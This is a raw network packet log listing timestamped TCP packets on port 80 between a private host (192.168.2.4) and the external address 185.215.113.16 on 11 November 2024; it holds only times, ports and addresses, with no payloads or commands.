Nov 11, 2024 14:32:22.526261091 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526266098 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526272058 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526277065 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526288986 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526297092 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526302099 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526305914 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.526350021 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.526359081 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526364088 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526390076 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526418924 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.526438951 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526448011 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526448965 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.526489019 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.526514053 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526520967 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526525974 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526567936 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.526607037 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526614904 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526628017 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526648998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526662111 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.526700974 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.526720047 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526726007 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526755095 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526767015 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.526777029 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526782990 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526793957 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526798964 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526807070 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.526869059 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.526932955 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526973009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526978970 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.526993036 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.527025938 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.527029991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527038097 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527050018 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527055979 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527085066 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.527096033 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.527151108 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527158022 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527169943 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527174950 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527179956 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527192116 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527208090 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.527229071 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.527239084 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527245045 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527246952 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.527256966 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527276039 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527283907 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527292013 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.527296066 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527302980 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527329922 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.527354956 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.527389050 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527401924 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527407885 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527415037 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527420998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527429104 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527434111 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527434111 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.527441025 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527458906 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527467012 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527475119 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527484894 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.527522087 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.527548075 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527554989 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527566910 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527571917 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527578115 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527581930 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527586937 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527591944 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527596951 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527610064 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527615070 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.527616978 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527626038 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.527632952 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527643919 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.527674913 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.527687073 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527693033 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527704000 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527717113 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527733088 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.527748108 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.527776003 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.527805090 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527811050 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527817011 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527822018 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527834892 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527839899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527844906 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.527846098 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527853966 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527869940 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.527898073 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.527909040 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527915001 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527935028 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527940035 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527951956 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527954102 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.527956963 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527965069 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.527986050 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.527998924 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.528003931 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.528006077 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.528018951 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.528034925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.528040886 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.528050900 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.528053045 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.528059006 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.528261900 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.528266907 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.528279066 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.528291941 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.528297901 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.528304100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.530664921 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.553309917 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.553318977 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.553330898 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.553406000 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.553503036 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.553515911 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.553523064 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.553528070 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.553534985 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.553646088 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.553795099 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.553812981 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.553817034 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.553833961 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.553868055 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.553884983 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.553891897 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.553891897 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.553936958 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.553950071 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.553956985 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.553962946 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.553991079 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.553996086 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554004908 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554011106 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554001093 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554023027 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554027081 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554038048 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554052114 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554065943 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554088116 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554092884 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554105043 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554111004 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554137945 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554151058 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554200888 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554205894 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554217100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554223061 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554228067 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554234028 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554246902 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554253101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554260015 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554272890 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554291964 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554352045 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554357052 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554363012 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554368973 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554375887 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554379940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554392099 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554395914 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554406881 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554413080 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554413080 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554438114 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554438114 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554462910 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554472923 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554477930 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554490089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554496050 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554506063 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554521084 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554521084 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554527044 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554539919 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554543972 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554550886 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554553986 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554553986 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554557085 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554570913 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554594040 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554603100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554609060 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554615021 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554631948 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554639101 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554651022 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554688931 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554708004 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554714918 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554739952 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554744959 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554754019 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554760933 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554784060 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554795027 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554867983 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554873943 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554884911 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554889917 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554894924 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554899931 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554907084 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554918051 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554919958 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554934025 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554953098 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554958105 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.554977894 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.554984093 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555001020 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.555033922 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.555079937 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555085897 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555097103 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555103064 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555109978 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555134058 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.555149078 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.555159092 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555166006 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555171967 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555191994 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555203915 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.555227041 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.555233955 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555284977 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555286884 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.555341959 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.555406094 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555413961 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555421114 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555425882 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555430889 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555437088 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555449009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555454969 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555458069 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.555484056 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.555505037 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.555540085 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555546999 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555552959 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555557966 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555572033 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555577993 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555584908 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555591106 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555591106 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.555619955 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.555635929 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.555691004 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555696964 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555708885 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555713892 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555732965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555738926 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555742025 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.555749893 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.555752039 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555783033 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.555808067 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.555834055 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555845976 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555851936 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555856943 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555864096 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555870056 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555876017 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555886984 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555892944 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.555902958 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555926085 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.555942059 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.555988073 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.555994987 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.556010962 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.556016922 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.556029081 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.556035042 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.556036949 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.556047916 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.556054115 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.556061983 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.556063890 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.556086063 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.556109905 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.556194067 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.556200981 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.556212902 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.556217909 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.556226969 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.556232929 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.556240082 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.556255102 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.556289911 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.556323051 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.556329012 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.556334972 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.556340933 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.556345940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.556350946 CET	80	49761	185.215.113.16	192.168.2.4
